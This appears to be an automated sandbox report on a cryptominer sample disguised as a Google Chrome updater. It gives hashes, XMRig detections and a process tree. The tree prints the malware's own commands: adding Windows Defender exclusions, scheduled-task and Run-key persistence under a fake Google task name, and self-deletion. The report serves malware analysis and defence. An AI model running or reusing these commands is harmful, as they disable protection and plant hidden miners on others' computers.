Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
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max time kernel
380s -
max time network
1793s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
22-08-2024 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240704-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240708-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240708-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240704-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240704-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240705-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240729-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240708-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2704 created 1236 2704 qM5GMXBk6hJE6Y5e (23).exe 21 PID 2704 created 1236 2704 qM5GMXBk6hJE6Y5e (23).exe 21 PID 2704 created 1236 2704 qM5GMXBk6hJE6Y5e (23).exe 21 PID 2704 created 1236 2704 qM5GMXBk6hJE6Y5e (23).exe 21 PID 1648 created 1236 1648 updater.exe 21 PID 1648 created 1236 1648 updater.exe 21 PID 1648 created 1236 1648 updater.exe 21 PID 1648 created 1236 1648 updater.exe 21 PID 264 created 1236 264 conhost.exe 21 PID 1648 created 1236 1648 updater.exe 21 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral17/memory/472-48-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/472-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2848 powershell.exe 3004 powershell.exe 3048 powershell.exe 2168 powershell.exe -
Deletes itself 1 IoCs
pid Process 1544 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1648 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1496 taskeng.exe -
resource yara_rule behavioral17/memory/472-42-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-48-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/472-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1648 set thread context of 264 1648 updater.exe 48 PID 1648 set thread context of 472 1648 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (23).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1636 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 105dcf52f4f4da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2480 schtasks.exe 2640 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2704 qM5GMXBk6hJE6Y5e (23).exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2848 powershell.exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2704 qM5GMXBk6hJE6Y5e (23).exe 3048 powershell.exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2704 qM5GMXBk6hJE6Y5e (23).exe 2232 powershell.exe 1648 updater.exe 1648 updater.exe 3004 powershell.exe 1648 updater.exe 1648 updater.exe 2168 powershell.exe 1648 updater.exe 1648 updater.exe 1648 updater.exe 1648 updater.exe 264 conhost.exe 264 conhost.exe 1648 updater.exe 1648 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeDebugPrivilege 3004 powershell.exe Token: SeDebugPrivilege 2168 powershell.exe Token: SeDebugPrivilege 1648 updater.exe Token: SeAssignPrimaryTokenPrivilege 1636 WMIC.exe Token: SeIncreaseQuotaPrivilege 1636 WMIC.exe Token: SeSecurityPrivilege 1636 WMIC.exe Token: SeTakeOwnershipPrivilege 1636 WMIC.exe Token: SeLoadDriverPrivilege 1636 WMIC.exe Token: SeSystemtimePrivilege 1636 WMIC.exe Token: SeBackupPrivilege 1636 WMIC.exe Token: SeRestorePrivilege 1636 WMIC.exe Token: SeShutdownPrivilege 1636 WMIC.exe Token: SeSystemEnvironmentPrivilege 1636 WMIC.exe Token: SeUndockPrivilege 1636 WMIC.exe Token: SeManageVolumePrivilege 1636 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1636 WMIC.exe Token: SeIncreaseQuotaPrivilege 1636 WMIC.exe Token: SeSecurityPrivilege 1636 WMIC.exe Token: SeTakeOwnershipPrivilege 1636 WMIC.exe Token: SeLoadDriverPrivilege 1636 WMIC.exe Token: SeSystemtimePrivilege 1636 WMIC.exe Token: SeBackupPrivilege 1636 WMIC.exe Token: SeRestorePrivilege 1636 WMIC.exe Token: SeShutdownPrivilege 1636 WMIC.exe Token: SeSystemEnvironmentPrivilege 1636 WMIC.exe Token: SeUndockPrivilege 1636 WMIC.exe Token: SeManageVolumePrivilege 1636 WMIC.exe Token: SeLockMemoryPrivilege 472 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3048 wrote to memory of 2640 3048 powershell.exe 34 PID 3048 wrote to memory of 2640 3048 powershell.exe 34 PID 3048 wrote to memory of 2640 3048 powershell.exe 34 PID 1544 wrote to memory of 2592 1544 cmd.exe 39 PID 1544 wrote to memory of 2592 1544 cmd.exe 39 PID 1544 wrote to memory of 2592 1544 cmd.exe 39 PID 2232 wrote to memory of 1952 2232 powershell.exe 40 PID 2232 wrote to memory of 1952 2232 powershell.exe 40 PID 2232 wrote to memory of 1952 2232 powershell.exe 40 PID 1496 wrote to memory of 1648 1496 taskeng.exe 42 PID 1496 wrote to memory of 1648 1496 taskeng.exe 42 PID 1496 wrote to memory of 1648 1496 taskeng.exe 42 PID 2168 wrote to memory of 2480 2168 powershell.exe 47 PID 2168 wrote to memory of 2480 2168 powershell.exe 47 PID 2168 wrote to memory of 2480 2168 powershell.exe 47 PID 1648 wrote to memory of 264 1648 updater.exe 48 PID 1520 wrote to memory of 1636 1520 cmd.exe 53 PID 1520 wrote to memory of 1636 1520 cmd.exe 53 PID 1520 wrote to memory of 1636 1520 cmd.exe 53 PID 1648 wrote to memory of 472 1648 updater.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1236
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1952
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (23).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2592
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2480
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:264
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1912
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1636
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:472
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C:\Windows\system32\taskeng.exetaskeng.exe {E0646D3C-940B-4303-A549-FDF3C4024968} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD550f4041c44b64afae6cff2afa89155d1
SHA1ea9b2269fb1fff6d083bd3ce741fe3f88b4fafa4
SHA2567805862e209529dbc12442d989cc34b3a1a1734f0f63687b95508dbf7ff9dbdf
SHA512bcc198b4ef6d12cba52fbc711047955fa6d238189bd0fe2d016071ee2b153af72ad2e767915bc46fa8a2e38d73a9b3bea9f8f84d7abc66d37611bced2ef59c4c